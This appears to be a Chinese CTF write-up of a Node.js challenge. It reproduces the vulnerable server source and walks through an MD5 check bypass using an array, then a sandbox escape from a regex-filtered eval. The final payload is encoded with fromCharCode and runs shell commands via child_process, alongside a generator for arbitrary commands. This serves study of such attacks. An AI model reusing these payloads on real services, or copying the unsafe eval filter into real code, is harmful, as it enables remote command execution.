知识点
- JS弱类型
- JS的toString特性
- 正则表达式绕过
- JS箭头函数利用
- JS原型链
不会node.js我太菜了,要慢慢学起来。
WP
进入环境访问/source路由看到源码:
const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');
const fs = require('fs');
const crypto = require('crypto');
const keys = ['123ewqrqwwq']
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
function saferEval(str) {
//let feng=str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')
//console.log(`replace: ${feng}`)
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
//console.log(`the code will be executed is : ${str}`)
return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个
const template = fs.readFileSync('./index.html').toString();
function render(results) {
return template.replace('{{results}}', results.join('<br/>'));
}
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
app.use(cookieSession({
name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
keys
}));
Object.freeze(Object);
Object.freeze(Math);
app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
//console.log(e)
//console.log(first)
//console.log(second)
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
console.log("you can eval")
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./test.js'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
req.session.admin = req.session.admin || 0;
res.send(render(req.session.results = req.session.results || []))
});
app.listen(39123, '0.0.0.0', () => {
console.log('Start listening')
});
看一下,大概就是两步,第一步就是这里的md5绕过:
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
利用数组来绕过即可,原理大概就是这样:
[1]+'1'//'11'
'1'+'1'//'11'
[1]!=='1'
所以这样传参即可,注意Content-type是application/json
{"e":"2-1","first":"1","second":[1]}
之后就是代码执行了:
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个
把满足正则表达式的部分全都删掉后传入的str为空才可以成功执行。
看一下这个正则,第一部分是类似Math.xxx
或只有Math
这样的的,第二部分是可以包括这些字符:
[()+\-*/&|^%<>=,?:
第三部分是以一定数字开头,然后跟0或者1个点,然后任意的数字,然后0或者一个类似e1111
这样的。感觉这是整数,浮点数和科学计数法。
正则理清的话就是如何rce了。首先就是拿到Function:
利用constructor这个构造函数属性就可以拿到Function,然后拿到了Function正常可以这样rce:
let a=Math.constructor.constructor
console.log(a("return process.mainModule.require('child_process').execSync('dir').toString()")())
在这题就是这样了:
Math=Math.constructor,
Math.constructor("return process.mainModule.require('child_process').execSync('dir').toString()")()
但是问题就在于,不允许字符串,因此Function里面很难办。WP是用了String.fromCharCode(...)
def gen(cmd):
s = f"return process.mainModule.require('child_process').execSync('{cmd}').toString()"
return ','.join([str(ord(i)) for i in s])
但是这个String又该怎么弄到呢,在没有单双引号的情况下。这里还是字符串的拼接:
Math+1 //"[object Math]1"
这里用到了箭头函数:
(Math=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41,46,116,111,83,116,114,105,110,103,40,41))()))(Math+1)
美化一下就是这样:
(Math=>
(Math=Math.constructor,
Math.constructor(
Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()
)
)(Math+1)
一般的箭头函数都是用{}
,但是因为这题只能用括号,而正好有用括号的语法,所以也可以用括号。
再分析一波的话,就是首先一个箭头函数(()=>())()
的自调用,传入的参数是Math+1
,也就是一个字符串,字符串经过两次constructor同样是Function,
就相当于是:
Function(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()
类似Function()()
的格式,里面的函数也同样可以调用,成功执行代码,得到flag。
总结
总的来说这题还是学到了很多东西,但是还是感觉有一点懵,还是node.js没学到,继续加油了。